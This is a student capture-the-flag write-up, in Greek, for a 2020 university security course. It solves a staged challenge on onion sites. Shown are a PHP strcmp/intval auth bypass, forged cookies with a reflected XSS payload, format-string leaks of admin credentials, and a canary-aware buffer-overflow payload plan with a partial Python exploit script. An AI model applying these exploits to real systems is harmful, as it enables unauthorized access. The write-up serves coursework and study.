# Προστασία και Ασφάλεια Υπολογιστικών Συστημάτων - 2020
<div style="text-align: justify">

<p style="font-size: 20px"><b>Capture The Flag</b></p>
<p style="font-size: 18px"><b>Υπεύθυνος καθηγητής: Χατζηκοκολάκης Κ.</b></p>
:::info
<p style="font-size: 20px"><b>Ομάδα: omada</b></p>
Λεπίδας Νικόλαος 1115201600090</br>
Λαμπρινός Νικόλαος 1115201600088
:::
<p style="font-size: 20px">Περιεχόμενα</p>
</div>
[ToC]
## Εισαγωγή
<div style="text-align: justify">
Ο στόχος της δεύτερης εργασίας ήταν - έχοντας μόνο το link http://2fvhjskjet3n5syd6yfg5lhvwcs62bojmthr35ko5bllr3iqdb4ctdyd.onion - να βρούμε τις απαντήσεις στις παρακάτω ερωτήσεις:
1. Που βρισκεται ο Γιώργος;
2. Τι λείπει για να ολοκληρώθει το "Plan X";
3. Ποια ειναι τα results του "Plan Y";
4. Ποιο είναι το code του "Plan Z";
Στην ουσία ήταν ένα παιχνίδι CTF. Παρακάτω παραθέτουμε τις δικές μας λύσεις με αρκετές λεπτομέρειες ώστε να φαίνεται πλήρως το σκεπτικό μας.
---
</div>
## 1η Ερώτηση
<div style="text-align: justify">
<b>Που βρισκεται ο Γιώργος;</b></br></br>
Αρχικά κατεβάσαμε το Tor και μπήκαμε στο .onion link που είχαμε στα χέρια μας παίρνοντας την παρακάτω σελίδα:

<br>
Όπως φαίνεται ήταν μία στατική σελίδα χωρίς να μπορείς να κάνεις τίποτα παραπάνω. Δεν υπήρχαν δηλαδή άλλες σελίδες που μπορούσες να πας μέσω εκείνης.
:::info
Να πούμε ότι την πρώτη φορά που μπαίνεις δεν βγάζει για Visitor number το 204. Δεν δείχνει τίποτα εκεί. Όμως με ένα refresh εμφανίζεται ο αριθμός.
:::
Η πρώτη σκέψη ήταν να δούμε τον source code. Πηγαίνοντας λοιπόν στον κώδικα είδαμε χαμηλά ότι υπήρχε το εξής σχόλιο:

<br>
Προφανώς έχοντας τη φράση "100% secure" ήταν αρκετά ξεκάθαρο ότι εκεί έπρεπε να δούμε. Πήγαμε λοιπόν στο blog όπου υπήρχαν οδηγίες για το πως να προστατέψεις ένα hidden web service. Η δεύτερη οδηγία ήταν να απενεργοποιήσεις το directory listing οπότε δοκιμάσαμε να δούμε αν είναι απενεργοποιημένο στον server που βρίσκεται το site. Από τον κώδικα είχαμε δει ότι υπήρχαν οι φάκελοι /js και /css. Πράγματι πηγαίνοντας εκεί είδαμε ότι ήταν ενεργοποιημένο το directory listing!

<br>

<br>
Δυστυχώς όμως δεν υπήρχε κάτι παραπάνω σε αυτούς τους φακέλους που να μας βοηθήσει άμεσα.
:::info
Βλέποντας το αρχείο bootstrap.min.js είδαμε ότι υπήρχε η Bootstrap v3.3.7 και ψάχνοντας στο διαδίκτυο βρήκαμε ότι υπάρχουν κάποια exploits για την συγκεκριμένη έκδοση της Bootstrap. Δεν χρησιμοποιήσαμε όμως κάτι τέτοιο για τη λύση της 1ης ερώτησης.
:::
Η τρίτη οδηγία που αναφερόταν στο blog ήταν να απενεργοποιήσεις στον server τα δύο default pages του Apache /server-info και /server-status που κάνουν leak internal data. Επομένως, πήγαμε να ελέγξουμε αυτές τις δύο σελίδες. Η /server-status δεν υπήρχε και ο server επέστρεφε 404 όμως η /server-info ήταν ανοιχτή!
Στην αρχή ψάξαμε για λέξεις κλειδιά όπως admin, password κλπ. Δεν βρήκαμε κάποια πληροφορία που να περιμένουμε όπως default password ή κάτι τέτοιο. Όμως ψάχνοντας την λέξη admin βρήκαμε ένα δεύτερο .onion link το οποίο υπήρχε στον server.

<br>
Πηγαίνοντας εκεί υπήρχε η παρακάτω σελίδα:

<br>
Πατήσαμε submit να δούμε τι θα γίνει και μας έβγαλε το μήνυμα "basd user..." ενώ στο url φαινόταν ότι πήγαμε σε κάποιο access.php αρχείο και για κωδικό δώσαμε έναν κενό κωδικό.

<br>
Βάλαμε να δούμε τον source code του δεύτερου .onion:

<br>
Φαινόταν λοιπόν ότι στο πεδίο που κάναμε submit δίναμε έναν κωδικό. Ξεκινήσαμε να δοκιμάζουμε διάφορα sql injection attacks χωρίς κάποια επιτυχία. Το παράξενο εδώ ήταν ότι το μήνυμα που παίρναμε ήταν "bad user..." χωρίς να δίνουμε εμείς κάποιον χρήστη. Σκεφτήκαμε ότι έπρεπε να περάσουμε και κάποιο πεδίο user= πάνω στο link.
Επειδή δεν γνωρίζαμε ούτε το όνομα του user που έπρεπε να δώσουμε αλλά ούτε και το password συνεχίσαμε το ψάξιμο στη σελίδα /server-info μήπως υπήρχε κάτι εκεί. Πράγματι ψάχνοντας λίγο πιο κάτω από το σημείο που βρήκαμε το δεύτερο .onion link υπήρχε:

<br>
Είδαμε ότι είναι granted όλα τα .phps αρχεία οπότε δοκιμάσαμε στο url το access.phps παίρνοντας τον κώδικα του access.php!

<br>
Έπρεπε πράγματι να δώσουμε κάποιον user ώστε να περάσουμε τον πρώτο έλεγχο και στη συνέχεια να δώσουμε και το κατάλληλο password. Για το όνομα του χρήστη βλέπουμε ότι πρέπει να είναι 7 χαρακτήρες ενώ αφού περαστεί από τη συνάρτηση intval() πρέπει να είναι το ίδιο με τη μεταβλητή $desired. Στα σχόλια που υπήρχαν έλεγε πως η τιμή της $desired ήταν το 48ο πολλαπλάσιο του 7 που περιέχει τον αριθμό 7. Επομένως μας έδινε με αυτόν τον τρόπο το όνομα του χρήστη.
Για να βρούμε την συγκεκριμένη τιμή γράψαμε το παρακάτω python script:
```python=
values=[]
for i in range(200):
value = 7*i
if ('7' in str(value)):
values.append(value)
i = 1
for value in values:
print(i, value)
i+=1
```
Τρέχοντας το script βλέπουμε ότι η τιμή που ψάχνουμε είναι το: 1337!

<br>
Όμως βλέποντας τον κώδικα του access.phps γνωρίζαμε ότι το μήκος του ονόματος έπρεπε να ήταν 7 χαρακτήρες. Γνωρίζαμε ξανά από την πρώτη εργασία ότι η συνάρτηση intval() κάνει τα εξής:
intval(123)=123
intval(abc)=0
intval(123abc)=123
Οπότε αν δώσουμε αρχικά τον αριθμό 1337 και στη συνέχεια 3 τυχαίους χαρακτήρες είμαστε εντάξει.
Δίνοντας λοιπόν στο url "user=1337---" (τρεις παύλες) πήραμε:

<br>
Καταφέραμε να περάσουμε τον πρώτο έλεγχο όμως έπρεπε να δώσουμε το σωστό κωδικό
ή να κάνουμε bypass τη συνάρτηση strcmp(). Ψάχνοντας στο διαδίκτυο βρήκαμε το site https://www.doyler.net/security-not-included/bypassing-php-strcmp-abctf2016. Είδαμε, λοιπόν, ότι η συνάρτηση strcmp() στην php επιστρέφει NULL άμα δώσεις έναν διαφορετικό τύπο δεδομένων στα δύο ορίσματα. Ακόμα, αφού έχουμε != και όχι !== στον τελεστή σύγκρισης, η τιμή NULL θεωρείται ίση με το 0. Οπότε δίνοντας
στο url "user=1337---&password[]=" πήραμε:

<br>
Βρήκαμε το blog της Υβόννης!

<br>

<br>

<br>
Γνωρίζαμε ότι είναι ενεργοποιημένο το directory listing οπότε δοκιμάσαμε και εδώ να δούμε αν υπάρχει κάτι και...

<br>
Είδαμε ότι υπήρχε το post3.html το οποίο δεν ήταν προσπελάσιμο από το blog και είχε το ακόλουθο περιεχόμενο:

<br>
Επομένως ξέραμε ότι το "raccoon" είναι κάποιο secret και πως για να βρούμε το backup του Γιώργου έπρεπε να είμαστε ο visitor 100013!
Όσο ψάχναμε στο αρχικό site είχαμε βρει ότι στο cookie υπήρχε η λέξη Visitor και επομένως καταλάβαμε ότι προς τα εκεί θα πρέπει να κινηθούμε.
Το default cookie ήταν:
```
Visitor=MjA0OmZjNTZkYmM2ZDQ2NTJiMzE1Yjg2YjcxYzhkNjg4YzFjY2RlYTljNWYxZmQwNzc2M2QyNjU5ZmRlMmUyZmM0OWE%3D
```
Στο τέλος παρατηρήσαμε το %3D που ήταν url encoded κάποιος χαρακτήρας κι έτσι τον κάναμε decode. Είδαμε ότι αντιστοιχούσε στο χαρακτήρα "=". Αρα είχαμε ένα hash που τελειώνει με "=" οπότε γνωρίζαμε (από άλλα ctfs) ότι ήταν base64.
Το κάναμε decrypt και πήραμε:

<br>
```
204:fc56dbc6d4652b315b86b71c8d688c1ccdea9c5f1fd07763d2659fde2e2fc49a
```
Βάζοντας το καινούριο hash σε κάποιον online finder βρήκαμε ότι ήταν sha256 και μάλιστα το hash του 204.

<br>
Καταλάβαμε λοιπόν ότι αυτό που εμφανίζεται στη σελίδα κάτω από το Visitor number ήταν το value που έπαιρνε από το cookie με τη μορφή:
```
Visitor=base64(value:sha256(value))
```
Στα πλαίσια πειραματισμού δοκιμάσαμε να κάνουμε την ίδια διαδικασία δίνοντας την τιμή 1 και πράγματι το Visitor number άλλαξε.
```
1:6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
Visitor=MTo2Yjg2YjI3M2ZmMzRmY2UxOWQ2YjgwNGVmZjVhM2Y1NzQ3YWRhNGVhYTIyZjFkNDljMDFlNTJkZGI3ODc1YjRi
```

<br>
Στη συνέχεια δοκιμάσαμε να δώσουμε και κάποιο script καταφέρνοντας να κάνουμε reflected xss.
```
<script>alert(1)</script>:5c140d35dcb46a622e2cedf5ef5cc3638cdffd1c118c9331f8c84669f0b74783
Visitor=PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pjo1YzE0MGQzNWRjYjQ2YTYyMmUyY2VkZjVlZjVjYzM2MzhjZGZmZDFjMTE4YzkzMzFmOGM4NDY2OWYwYjc0Nzgz
```

<br>
Συνεχίζοντας βάλαμε με τον αντίστοιχο τρόπο το cookie για την τιμή 100013.
```
100013:36209542362787f22054182c3e41409fd1b0486ecb282c02dc57b4f98e47de70
Visitor=MTAwMDEzOjM2MjA5NTQyMzYyNzg3ZjIyMDU0MTgyYzNlNDE0MDlmZDFiMDQ4NmVjYjI4MmMwMmRjNTdiNGY5OGU0N2RlNzA=
```
Κάνοντας refresh εμφανίστηκε στη σελίδα ένα path με το backup από το τηλέφωνο του Γιώργου!

<br>
Πήγαμε και υπήρχε το παρακάτω περιεχόμενο:

<br>
Όλα τα αρχεία πέραν του notes.txt.truncated γινόντουσαν download ενώ στο notes υπήρχε:

<br>
Καταλάβαμε ότι έπρεπε να κάνουμε decrypt τα δύο .gpg αρχεία όμως δεν είχαμε το κλειδί. Το μόνο που είχαμε ήταν η αρχή του κλειδιού στο αρχείο passphrase.key.truncated. Έπρεπε λοιπόν να μαντέψουμε ποια ημερομηνία μαζί με το secret, που είχαμε βρει ότι ήταν το "raccoon", ήταν η σωστή ώστε να πάρουμε ολόκληρο το κλειδί. Στην αρχή δοκιμάσαμε την last modified date χωρίς κάποιο αποτέλεσμα.
Καταλήξαμε πως έπρεπε να γράψουμε κάποιο script ώστε να δοκιμάσουμε πολλές ημερομηνίες. Το python script που γράψαμε ήταν:
```python=
import hashlib
from datetime import *
start_date = date(2000, 2, 2)
end_date = date(2020, 12, 19)
dates = []
for i in range((end_date-start_date).days + 1):
dates.append(start_date+timedelta(i))
for lucky_day in range(len(dates)):
date_str = dates[lucky_day].strftime("%Y-%m-%d")
date_str += " raccoon"
lucky_hash = hashlib.sha256(date_str.encode('utf-8')).hexdigest()
if lucky_hash.startswith('d1689c23e86421529297'):
print("Found it!!!")
print("sha256(",date_str,") is:")
print(lucky_hash)
exit(0)
print("Didn't find it... :(")
```
Τρέχοντας το, καταφέραμε να βρούμε ότι η ημερομηνία ήταν 2000-02-02 και το κλειδί για την εντολή gpg ήταν:
```
d1689c23e86421529297f3eb35db2fe261de9cbe19487d923c464d96ca00e138
```

<br>
Τρέχοντας την παρακάτω εντολή και δίνοντας το κλειδί στο παράθυρο που εμφανίστηκε αποκρυπτογραφήσαμε το πρώτο αρχείο signal.log.gpg και βρήκαμε την συνομιλία του Γιώργου με τη Μαρία.
```
gpg --decrypt signal.log.gpg
```

<br>
Μέσα στο αποτέλεσμα υπήρχε ένα git commit που έπρεπε να βρούμε.
```
commit:2355437c5f30fd2390a314b7d52fb3d24583ef97
```
Ανοίξαμε το αρχειο firefox.log και είδαμε ότι υπήρχαν πάρα πολλές γραμμές με "https://en.wikipedia.org/wiki/The_Conversation". Επίσης το αρχείο ήταν ~500Mbytes με αποτέλεσμα να κολλήσει το pc στην προσπάθεια να το ανοίξει. Πήγαμε στη σελίδα αυτή χωρίς να βρούμε κάτι που να μας βοηθήσει κι έτσι το αφήσαμε.
:::info
Μετά το claim μας είπε ο βοηθός ότι κάνοντας sort firefox.log | uniq παίρναμε https://en.wikipedia.org/wiki/The_Conversation και https://github.com/asn-d6/tor όπου το δεύτερο είναι το repository που έπρεπε να ψάξουμε.
:::
Συνεχίσαμε ψάχνοντας στο google το commit όμως δεν πήραμε κάποιο αποτέλεσμα. Σκεφτήκαμε λοιπόν να ψάξουμε στο repository του pico που είχε ανεβάσει ο κύριος Χατζηκοκολάκης επίσης χωρίς αποτέλεσμα. Τέλος ψάξαμε στο github του βοηθού και κοιτώντας το πρώτο repository που ήταν το tor είδαμε στα branches το branch ctf2020. Bingo!
Εκεί βρήκαμε το commit και πήραμε τις οδηγίες που είχε αφήσει ο Γιώργος για να τον βρει η Μαρία.

<br>
Έχουμε:
sha256(omada): c2089245a1bd6871466a5405f2fded9cdbf1c9e96aafe7f568e87f81b55409d7
0.c2089245a1bd6871 --> 0.75794328880305317843 --> 47.75794328880305317843
0.466a5405f2fded9c --> 0.27505993981593920296 --> 4.27505993981593920296
Για να κάνουμε τη δεκαδικη αναπαράσταση χρησιμοποιήσαμε το https://www.rapidtables.com/convert/number/hex-to-decimal.html
όπου είδαμε ότι έβγαζε σωστά αποτελέσματα για το παράδειγμα που υπήρχε στο commit.
</br>
</div>
---
## 2η Ερώτηση
<div style="text-align: justify">
<b>Τι λείπει για να ολοκληρώθει το "Plan X";</b></br></br>
Από το blog entry #2 που έχουμε και πιο πάνω βρήκαμε ένα 3ο .onion link στο οποίο είχε σεταριστεί ο pico server. Πηγαίνοντας στο συγκεκριμένο link μας ζητούσε να δώσουμε όνομα χρήστη και κωδικό πρόσβασης όπως φαίνεται παρακάτω:

<br>
Σκεφτήκαμε ότι θα πρέπει να δούμε τον κώδικα και να τρέξουμε το server οπότε ακολουθήσαμε τις οδηγίες από το repository για να το εγκαταστήσουμε τοπικά στο μηχάνημα μας.
Κοιτώντας τον κώδικα παρατηρήσαμε τα παρακάτω σχόλια:

<br>
Κάνοντας compile είδαμε το εξής warning:

<br>
Επειδή δεν γνωρίζαμε τι ήταν, το ψάξαμε στο google και μάθαμε ότι υπάρχει format string vulnerability. Πιο συγκεκριμένα, δίνοντας στη συνάρτηση printf κάποιον format specifier όπως %d και <b>χωρίς</b> να δώσουμε κάποια μεταβλητή μπορούμε να διαβάσουμε δεδομένα της στοίβας τα οποία δεν θα έπρεπε.
Στον παρακάτω σύνδεσμο υπάρχουν αναλυτικές πληροφορίες που μας βοήθησαν πολύ να καταλάβουμε τι συμβαίνει.
http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf
Παραθέτουμε τον κώδικα της συνάρτησης check_auth για να εξηγήσουμε τον τρόπο σκέψης.
```cpp=
int check_auth(Line users[], char *auth_header) {
// auth_header contains "Basic <Base64>", extract <Base64> string and decode in auth_decoded
unsigned char *auth_decoded;
int length;
Base64Decode(auth_header+6, &auth_decoded, &length); // +6 to skip "Basic "
// auth_decoded is of the form "<username>:<password>", separate them
char *auth_username = auth_decoded; // username is at the start
char *colon = strchr(auth_decoded, ':'); // find ':'
if(colon != NULL)
*colon = '\0'; // change to \0 to split the string in two
char *auth_password = colon ? colon+1 : ""; // password starts after the colon
// find auth_username in users (each line is <user>:<md5>)
char *password_md5 = NULL;
int ul = strlen(auth_username);
for(int i = 0; strcmp(users[i], "") != 0; i++) {
if(strncmp(users[i], auth_username, ul) == 0 && users[i][ul] == ':') {
password_md5 = users[i] + ul + 1; // <md5> part, after the ':'
break;
}
}
// check if user is found
if(password_md5 == NULL) {
fprintf(stderr, "HTTP/1.1 401 Unauthorized\r\n");
fprintf(stderr, "WWW-Authenticate: Basic realm=\"");
fprintf(stderr, "Invalid user: ");
//fprintf(stderr, "%p", users);
fprintf(stderr, auth_username);
// fprintf(stderr, "1:%p 2:%p 3:%p 4:%p 5:%p 6:%p 7:%p 8:%p 9:%p\n");
fprintf(stderr, "\"\r\n\r\n");
free(auth_decoded);
return 0;
}
```
Η συνάρτηση αφού κάνει decode το input του χρήστη, το οποίο γίνεται hashed με base64, παίρνει το input που είναι της μορφής username:password και χωρίζει τα δύο δεδομένα. Στη συνέχεια κοιτάει αν το όνομα που έδωσε ο χρήστης είναι ίδιο με αυτό που βρίσκεται στον πίνακα users και αν ναι παίρνει τον κωδικό. Τέλος ελέγχει αν υπήρχε το username που έδωσε ο χρήστης κοιτώντας το περιεχόμενο της μεταβλητής password_md5. Στην περίπτωση που δεν υπήρχε η μεταβλητή είναι NULL και καλείται η printf(auth_username);
Σκοπός μας, λοιπόν, ήταν να διαβάσουμε το περιεχόμενο του πίνακα users που υπάρχει στη στοίβα, εκμεταλλευόμενοι το format string vulnerability. Τρέξαμε αρχικά τον server προσθέτοντας την εντολή στη γραμμή 28:
```cpp
fprintf(stderr, "%p", users);
```
με σκοπό να βρούμε τη διεύθυνση του πίνακα users. Το αποτέλεσμα ήταν "0x565f0180".
Στη συνέχεια τρέξαμε το πρόγραμμα με την εντολή στη γραμμή 30:
```cpp
fprintf(stderr, "1:%p 2:%p 3:%p 4:%p 5:%p 6:%p 7:%p 8:%p 9:%p\n");
```
προσπαθώντας να βρούμε σε ποιά θέση της στοίβας βρίσκεται ο πίνακας users. Το αποτέλεσμα:

<br>
Επομένως, γνωρίζοντας ότι ήταν στην 6η θέση βάλαμε %s σε εκείνη τη θέση για να δούμε τον κωδικό.

<br>
Έχοντας καταφέρει να βρούμε το input που χρειάζεται να δώσουμε στο δικό μας μηχάνημα πήγαμε να δοκιμάσουμε στο onion site.
Δίνοντας για username:
```
%p %p %p %p %p %s
```
Δεν πήραμε το επιθυμητό αποτέλεσμα, όμως, με ένα ακόμα %p καταφέραμε να βρούμε τον κωδικό!
:::info
Αργότερα είδαμε ότι μπορούμε να γράψουμε και %7$s για να διαβάσουμε ως string μόνο το 7ο "argument" που ήταν τα credentials του admin.
:::

<br>
```
admin:f68762a532c15a8954be87b3d3fc3c31
```
Αμέσως τον αποκρυπτογραφήσαμε και πήραμε:

<br>
```
you shall not pass
```
Μπορούσαμε τώρα να συνδεθούμε και να μπούμε στο site!!

<br>
Η λύση ήταν "solar wind analyzer".
</div>
---
## 3η Ερώτηση
<div style="text-align: justify">
<b>Ποια ειναι τα results του "Plan Y";</b></br></br>
Βλέποντας τον κώδικα του pico παρατηρήσαμε ότι στη συνάρτηση post_param υπάρχουν οι παρακάτω γραμμές κώδικα:
```cpp
char post_data[100];
memcpy(post_data, payload, payload_size+1);
```
δηλαδή έχουμε ένα buffer overflow, δεδομένου ότι η memcpy γράφει στον πίνακα post_data όσα δεδομένα της δώσουμε, χωρίς να ελέγξει έαν δώσαμε παραπάνω από 100 χαρακτήρες!
Επίσης στη σελίδα που πήγαμε λύνοντας το ερώτημα 2 υπήρχε χαμηλά η γραμμή:
```
pico server, running on ?????, built on linux02.di.uoa.gr (gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609)
```
όπου φαίνεται η έκδοση του gcc με την οποία έγινε compile ο pico server, το μηχάνημα που έγινε built καθώς και το λειτουργικό του συστήματος.
Ήταν αρκετά ξεκάθαρο ότι κάπου θα μας χρησιμεύσει. Ψάχνοντας την έκδοση του gcc για κάποιο γνωστό vulnerability βρήκαμε:

<br>
Φαίνεται λοιπόν από το δεύτερο vulnerability ότι υπάρχει κάποιο overflow bypass. Όμως εν τέλει δεν βρήκαμε πως να το αξιοποιήσουμε..
Επίσης, πήγαμε στο linux02 και κάναμε gcc -v για να επιβεβαιώσουμε ότι αυτή ήταν η πραγματική έκδοση. Πράγματι το αποτέλεσμα ήταν το ίδιο με αυτό που βρήκαμε στο site.

<br>
Επειδή εμείς είχαμε άλλη έκδοση τόσο του linux όσο και του gcc αποφασίσαμε να εγκαταστήσουμε τον pico server στο μηχάνημα της σχολής (linux02) και να κάνουμε πειραματισμούς εκεί.
Αρχικά φτιάξαμε τα παρακάτω αρχεία:
htpasswd:
```
nikolas:098f6bcd4621d373cade4e832627b4f6
```
:::info
όπου, md5(test) = 098f6bcd4621d373cade4e832627b4f6
:::
admin_pwd:
```
123
```
index.html:
```htmlmixed=
<!doctype html>
<html>
<head>
<title>This is the title of the webpage!</title>
</head>
<body>
<p>This is an example paragraph.</p>
<form action="ultimate.html" method="POST">
Admin pwd: <input type="text" name="admin_pwd" />
<input name="submit" type="submit" value="go" />
</form>
</body>
</html>
```
ultimate.html:
```htmlmixed=
<!doctype html>
<html>
<head>
<title>This is the title of the webpage!</title>
</head>
<body>
<p>Inside ultimate.html</p>
</body>
</html>
```
Έπειτα δοκιμάσαμε να κάνουμε ένα post request στο root path δίνοντας ένα τυχαίο αρχείο:
```
curl -v -u nikolas:test -X POST 127.0.0.1:7000/ -d @countriesFile.txt
```
Πράγματι καταφέραμε να πάρουμε πίσω το πλήθος των δεδομένων.

<br>
Έπρεπε τώρα να μπούμε στο δύσκολο δρόμο του buffer overflow. Όμως τώρα δεν υπήρχαν τα flags που είχαμε δει στο μάθημα τα οποία απενεργοποιούν τους μηχανισμούς ασφαλείας για buffer overflows.
Για το ASLR είχαμε πει στο μάθημα ότι έχουμε αλλαγή του χώρου διευθύνσεων σε κάθε εκτέλεση του προγράμματος. Όμως, στο .onion site ο server δεν σταματάει να τρέχει απλώς κάνει fork κάθε φορά που πρέπει να εξυπηρετήσει κάποιο connection. Οπότε δεν φαίνεται να έχουμε κάποιο πρόβλημα με το ASLR. Για το non executable stack δεν μπορούσαμε να κάνουμε κάτι (ή δεν βρήκαμε εμείς) οπότε έπρεπε να σκεφτούμε μία λύση που δεν θα χρειαζόταν να κάνουμε execute κώδικα μέσα στο stack. Πιο συγκεκριμένα, δεν θα μπορούσαμε να κάνουμε μία επίθεση όπου να βάλουμε δικό μας κώδικα μέσα στη στοίβα και να κάνουμε return εκεί όπως δείξαμε στο μάθημα.
Βλέποντας τον κώδικα:
```cpp
Line admin_pwd[1];
read_file("./admin_pwd", admin_pwd, 1);
char* given_pwd = post_param("admin_pwd");
int allowed = given_pwd != NULL && strcmp(admin_pwd[0], given_pwd) == 0;
if (allowed)
serve_ultimate();
else
printf("HTTP/1.1 403 Forbidden\r\n\r\nForbidden");
```
η πρώτη ιδέα που είχαμε ήταν να κάνουμε buffer overflow και να αλλάξουμε τη ροή εκτέλεσης καλώντας απευθείας την serve_ultimate() χωρίς να περάσουμε τον έλεγχο με το allowed. Έπρεπε κάπως να βρούμε τη διεύθυνση της serve_ultimate και να την βάλουμε στο return address.
Μία δεύτερη σκέψη ήταν να κάνουμε buffer overflow και να αλλάξουμε την τιμή της μεταβλητής admin_pwd σε κάτι που γνωρίζαμε. Έτσι θα μπορούσαμε να περάσουμε τον έλεγχο δίνοντας απλώς αυτήν την τιμή.
Μία τρίτη σκέψη ήταν με το buffer overflow να αλλάξουμε την τιμή της μεταβλητής allowed σε 1 όμως δυστυχώς η δήλωση της γινόταν μετά την κλήση της post_param(). Έτσι, δεν μπορούσαμε να την γράψουμε, καθώς δεν ήταν στη στοίβα τη στιγμή της επίθεσης.
Μία τέταρτη σκέψη βλέποντας τον κώδικα:
```cpp
void serve_index() {
printf("HTTP/1.1 200 OK\r\n\r\n");
send_file("./site/index.html");
}
```
ήταν να γράψουμε στο όρισμα της συνάρτησης send_file() που καλείται από την serve_index() (και όχι την serve_ultimate) το path για το αρχείο ultimate.html. Ψάχνοντας βρήκαμε ότι τα string literals αποθηκεύονται σε read-only space και δεν μπορούμε να τα αλλάξουμε. Οπότε τελικά συνεχίσαμε με την πρώτη ιδέα.
Ξεκινώντας, έπρεπε να βρούμε κάποιον τρόπο να καλέσουμε τη συνάρτηση serve_ultimate(). Υπήρχαν δύο τρόποι· είτε να κάνουμε την post_param() να επιστρέψει αμέσως μετά την εντολή <em>if(allowed)</em> (δηλαδή να επιστρέψουμε στην εντολή που κάνει call την συνάρτηση), είτε να καλέσουμε την <b>global</b> serve_ultimate() δηλαδή να μην γίνει push στη στοίβα κάποιο return address.
Με το πρώτο ενδεχόμενο, η ροή του προγράμματος θα συνέχιζε στις παρακάτω γραμμές κώδικα:
```cpp
if (allowed)
serve_ultimate();
else
printf("HTTP/1.1 403 Forbidden\r\n\r\nForbidden");
free(given_pwd);
```
και θα είχαμε <em>crash</em> στον server στην εντολή <b>free</b>. Οπότε για πιο clean συνέχεια στη ροή του προγράμματος αποφασίσαμε να ακολουθήσουμε το δεύτερο ενδεχόμενο.
Αρκούσε να βρούμε το offset της global serve_ultimate από το return address της check_auth, το οποίο παραμένει σταθερό. Έτσι, το πρόβλημα ανατέθηκε στο να βρούμε το return address της check_auth.
Μέσω gdb παρατηρήσαμε πως η check_auth αντέγραφε στον χώρο της στοίβας που δέσμευε τον πίνακα users που έπαιρνε στα ορίσματα. Επομένως, μέσω του format string vulnerability μπορούσαμε σιγά σιγά να ανεβαίνουμε στη στοίβα μέχρι να βρούμε σε ποια θέση βρίσκεται το όρισμα users (η 2η εμφάνιση της διεύθυνσης users). Έτσι, γνωρίζαμε πως ακριβώς από κάτω από αυτή τη θέση στη στοίβα θα βρίσκεται το return address που αναζητούσαμε.
:::info
Αξίζει να σημειωθεί πως αυτή την αναζήτηση την κάναμε με έξτρα fprintf(stderr, "%p ...") όπως αναφέραμε και πιο πάνω. Αυτό βέβαια επηρεάζει τις διευθύνσεις στη στοίβα, γιατί προσθέτουμε εντολές στον κώδικα. Αλλά στο περίπου θα ξέραμε πού θα βρούμε το return address της check_auth.
:::
Ένας άλλος τρόπος που κάναμε ήταν να βρούμε το return_address μέσω της συνάρτησης: __builtin_return_address και μετά εκμεταλλευόμενοι το stack leaking να βρούμε τη θέση αυτής στη στοίβα.
Έτσι, καταλήξαμε πως το return_address βρίσκεται <b>%31$p</b> θέσεις πάνω από τον pointer της printf. Από αυτό μπορέσαμε να βγάλουμε τα εξής συμπεράσματα:
1. Το return address της check_auth βρίσκεται εδώ: %31$p
2. O ebp βρίσκεται εδώ: %30$p
3. O ebx βρίσκεται εδώ: %29$p
4. To canary βρίσκεται εδώ: %27$p
:::info
Το <b>canary</b> γενικότερα είναι μια μέθοδος detection της επικείμενης επίθεσης buffer overflow. Ουσιαστικά σε κάθε κλήση συνάρτησης, στο frame που δημιουργείται στη στοίβα πιθανότατα θα υπάρχει ένα canary. Όπως διαπιστώσαμε το canary αυτό έχει την ίδια τιμή για τα διάφορα frames μέσα στη στοίβα σε όσα από αυτά χρησιμοποιείται. Δεσμεύονται, λοιπόν, 12 bytes. Όπως παρατηρήσαμε από τον κώδικα assembly στο pico, στα πρώτα 4 αποθηκεύεται ο ebx, στα επόμενα 4 (???) και στα 4 τελευταία η τιμή του canary (%gs:0x14).
Αυτά τα 12 bytes αποθηκεύονται στη στοίβα αμέσως μετά τον νέο %ebp και μετά από αυτά, ακολουθούν τα bytes που δεσμεύονται για τις τοπικές μεταβλητές της συνάρτησης. Συνεπώς, το canary πάντα θα βρίσκεται στη θέση $ebp-0xc (δηλαδή 12 bytes κάτω του ebp).
:::
Αφού βρήκαμε το return address της check_auth τώρα έπρεπε να βρούμε το σταθερό offset αυτού από την global serve_ultimate(). Μέσω του gdb βρήκαμε:
```
global serve_ultimate - ret check_auth:
0x56556958 - 0x565560e8 --> 0x870
```
Όσον αφορά το clean continue του προγράμματος/εξυπηρετητή ακολουθήσαμε την ίδια τακτική του offset και οδηγούμε το πρόγραμμα μετά από την serve_ultimate() στην ROUTE_END(). Το offset από την return_address της check_auth είναι:
```
offset = 0x29c
```
Επομένως, τώρα μπορούμε να κάνουμε το buffer overflow στην post_param(), εφόσον χρειαζόμαστε τα ακόλουθα:
1. canary value
2. ebx
3. ebp
4. return address of check_auth
5. return address to global serve_ultimate()
6. return address to ROUTE_END() for clean exit from route
Έτσι, παίρνουμε τις τιμές των 1, 2, 3, 4 μέσω του format string vulnerability και με τα παραπάνω offsets υπολογίζουμε τα 5, 6. Τελικά, δημιουργούμε το παρακάτω payload που θα περάσουμε στην post_param.
```
| "a"*100 | canary | "a"*4 | ebx | ebp | ret_to_serve_ultimate | ret_to_ROUTE_END() |
```
Εδώ αξίζει να αναφέρουμε ξανά πως όταν η post_param() επιστρέψει στην global serve_ultimate δεν εκτελεστεί η εντολή call και κατά συνέπεια δεν θα γίνει push στη στοίβα ο program counter αφού αυξηθεί. Έτσι δεν θα αποθηκευτεί στη στοίβα κάποιο return address. Γι΄ αυτό έχουμε τη δυνατότητα να χρησιμοποιήσουμε το ret_to_ROUTE_END() ως return address της serve_ultimate(), η οποία απλώς θα δημιουργήσει ένα frame στο stack.
Παρατίθεται το script που υλοποιεί την παραπάνω διαδικασία σε python.
```python=
import requests
import base64
import struct
GET_URL = "http://127.0.0.1:8000"
POST_URL = "http://127.0.0.1:8000/ultimate.html"
def get_auth_header():
auth = bytes("admin:you shall not pass", "utf-8")
auth_header={'Authorization' : 'Basic %s' % base64.b64encode(auth).decode('utf-8')}
return auth_header
def get_value(var):
username = var
password = ""
auth = bytes(username + ':' + password, "utf-8")
headers={'Authorization': 'Basic %s' % base64.b64encode(auth).decode('utf-8')}
r = requests.get(GET_URL, headers=headers)
response = r.headers["WWW-Authenticate"]
hexValue = response[response.find("0x"):-1]
print(hexValue)
return hexValue[2:]
canary_pos = "%27$p"
ebx_pos = "%29$p"
ebp_pos = "%30$p"
ret_pos = "%31$p"
